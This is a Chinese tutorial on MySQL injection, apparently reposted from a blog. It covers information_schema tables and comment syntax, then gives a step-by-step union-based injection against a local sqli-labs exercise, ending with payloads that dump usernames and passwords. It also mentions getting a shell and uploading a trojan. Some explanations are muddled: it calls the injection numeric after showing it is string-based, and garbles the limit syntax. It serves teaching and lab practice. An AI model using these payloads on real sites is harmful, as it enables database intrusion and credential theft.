MYSQL注入

Posted 香饼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MYSQL注入相关的知识,希望对你有一定的参考价值。

SQL注入的几张表:

一、information_schema库:

  1、在mysql5.0版本后,默认数据库存放在这个数据库中,该库中常用的三个表schemata、tables、columns

  2、schemata表存储的是该用户创建的所有数据库中的库名,记录数据库的字段名为schema_name

  3、tables表存储该用户创建的所有数据库名和表明,库名和表明分别为table_schema,table_name

  4、columns存储改用户创建的所有数据库的库名、表明、字段名,分别为table_schema,table_name,columns_name

二、数据库查询语句

  格式:

    需查询的值 A=select 所属字段名 A from 所属表名 where 对应字段名 B=值B

三、limit的用法

  格式 limit n:m,其中n指的是记录开始的位置,从m=0开始,表示第一条记录,n是指取几条记录

四、常用的几个函数

  version():当前mysql版本

  database():当前使用的数据

  user():当前mysql的用户

五、注释

 1、#

 2、-- + 空格

 3、/**/   内联注释

 4、/*!*/  强制内联注释

注:url里不能用#号   

 

六、探测方法

 1、注入探测:

    自动方式:使用web漏洞扫描工具,发现注入点;

    手工方式:手工构造测试语句发现注入点;

    手工判断三步骤:

    数值型:

       and 1=1  true

       and 1=2   false

    字符型:

      ‘ and 1=1 --+  true

      ‘ and 1=2 --+  true or false

  2、信息获取

    环境信息:数据库类型,数据库版本,用户信息等

    数据库信息:数据库名称,数据库表,字段,字段内容

  3、获取权限

    获取操作权限,数据库执行shell,上传木马

   注:只要是带有参数的动态页面,都会存在注入的风险

 

七、Union注入攻击及代码分析

举例:

联合注入实现
http://127.0.0.1/sqli/Less/?id=1
第一步:判断是否存在sql注入漏洞
1、、http://127.0.0.1/sqli/Less-1/?id=1‘ 错误
2、、http://127.0.0.1/sqli/Less-1/?id=1 and 1=1 正常
3、http://127.0.0.1/sqli/Less-1/?id=1 and 1=2 正常
返回正常这里可以判断是字符型,那么构造字符型注入的payload
1、http://127.0.0.1/sqli/Less-1/?id=1‘ and 1=1 --+ 正常
2、http://127.0.0.1/sqli/Less-1/?id=1‘ and 1=2 --+ 异常
从而可以判断此处存在sql注入漏洞,切入漏洞类型为数值型

第二步:判断数据表字段数
order by 1-99
http://127.0.0.1/sqli/Less-1/?id=0‘ order by 1 --+

第三步:判断查询输出的位置
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,3 --+

第四步:脱裤,报数据库名 seccurity --
http://127.0.0.1/sqli/Less-1/?id=1‘ union select 1,2,database() --+

第五步:报表名  users
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(table_name) from information_schema.tables
where table_schema=‘security‘) --+

第六步:报字段名  id,username,password
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(column_name) from information_schema.columns
where table_schema=‘security‘ and table_name=‘users‘) --+

第七步:报数据
http://127.0.0.1/sqli/Less-1/?id=0‘ union select 1,2,
(select group_concat(id,0x3a,username,0x3a,password) from security.users) --+

 

 

 

 

 

 

 

 

 

      

  

 

以上是关于MYSQL注入的主要内容,如果未能解决你的问题,请参考以下文章

php+mysql注入

mysql注入

Mysql特别注入篇

SQL注入测试技巧TIP:再从Mysql注入绕过过滤说起

Mysql注入绕过WAF总结

SQL注入之mysql显错注入